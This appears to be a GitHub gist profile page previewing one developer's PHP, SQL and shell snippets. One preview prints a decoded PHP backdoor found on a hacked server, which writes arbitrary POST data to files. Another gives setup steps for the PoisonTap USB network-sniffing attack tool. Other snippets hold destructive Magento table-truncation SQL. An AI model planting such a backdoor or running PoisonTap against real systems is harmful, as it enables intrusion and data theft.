Skip to content

Instantly share code, notes, and snippets.

View pkdavies's full-sized avatar

Peter Davies pkdavies

View GitHub Profile
@pkdavies
pkdavies / finalstm.php
Created April 5, 2013 14:14
This is the final decoded version of a server hack found on a client's server
<?php
if (empty ( $_POST ['mode'] ) or empty ( $_POST ['name'] ))
exit ( '0' );
switch ($_POST ['mode']) {
case 'load' :
if (empty ( $_POST ['data'] ))
exit ( 'no data' );
$IIIIIIII1Ill = fopen ( $_POST ['name'], 'w' ) or exit ( $_POST ['name'] . ' - load_no [' . dirname ( '/home/client/public_html/images/stm.php' ) . '/' . $_POST ['name'] . ']' );
fwrite ( $IIIIIIII1Ill, urldecode ( $_POST ['data'] ) );
fclose ( $IIIIIIII1Ill );
@pkdavies
pkdavies / csr.php
Created April 9, 2013 09:00
Check CSR Details
<h3>Check CSR Details</h3>
<form method="post">
<p>Paste the CSR in the text area below:</p>
<textarea rows="16" cols="65" name="csr">
</textarea>
<br />
<input type="submit" />
</form>
<hr noshade />
<?php
@pkdavies
pkdavies / check.php
Last active December 17, 2015 04:49
This is a simple check script we use on a number of servers to make sure PHP -> Apache -> Server is running ok.
<?php
// start the output from scratch
ob_start();
// some older PHP configs need this setting
date_default_timezone_set('Europe/London');
// collect some other useful information
$json_array = array(
"status" => null,
<?php
// set the URL
$url = "http://www.juicymedia.co.uk";
// create a new cURL resource
$ch = curl_init();
// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
@pkdavies
pkdavies / gist:70261dd1ff9bc79205ec
Created August 26, 2014 14:20
joomla upgrade tag fix SQL
-- Table structure for table `r53wg_content_types`
--
CREATE TABLE IF NOT EXISTS `r53wg_content_types` (
`type_id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`type_title` varchar(255) NOT NULL DEFAULT '',
`type_alias` varchar(255) NOT NULL DEFAULT '',
`table` varchar(255) NOT NULL DEFAULT '',
`rules` text NOT NULL,
@pkdavies
pkdavies / clear.sql
Created January 16, 2015 14:34
This will clear any orders and customers from a test Magento - use at your own risk
SET FOREIGN_KEY_CHECKS=0;
-- Here's where we reset the orders
TRUNCATE `sales_flat_order`;
TRUNCATE `sales_flat_order_address`;
TRUNCATE `sales_flat_order_grid`;
TRUNCATE `sales_flat_order_item`;
TRUNCATE `sales_flat_order_status_history`;
TRUNCATE `sales_flat_quote`;
TRUNCATE `sales_flat_quote_address`;
SET FOREIGN_KEY_CHECKS = 0;
TRUNCATE TABLE catalog_category_entity;
TRUNCATE TABLE catalog_category_entity_datetime;
TRUNCATE TABLE catalog_category_entity_decimal;
TRUNCATE TABLE catalog_category_entity_int;
TRUNCATE TABLE catalog_category_entity_text;
TRUNCATE TABLE catalog_category_entity_varchar;
TRUNCATE TABLE catalog_category_product;
sudo bash
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs
@pkdavies
pkdavies / azurewaf.php
Created October 27, 2017 20:37
Process Azure WAF logs from json debug
<?php
/**
* Created by PhpStorm.
* User: peted
* Date: 27/10/2017
* Time: 21:03
*
*/
$json_file = "test.json";
@pkdavies
pkdavies / geoip.php
Last active December 5, 2017 13:38
MaxMind GeoIP test
<h1>GEO IP Test</h1>
<h2>Info</h2>
<pre><?php
$cst = array(
'GEOIP_COUNTRY_EDITION' => GEOIP_COUNTRY_EDITION,
'GEOIP_REGION_EDITION_REV0' => GEOIP_REGION_EDITION_REV0,
'GEOIP_CITY_EDITION_REV0' => GEOIP_CITY_EDITION_REV0,
'GEOIP_ORG_EDITION' => GEOIP_ORG_EDITION,
'GEOIP_ISP_EDITION' => GEOIP_ISP_EDITION,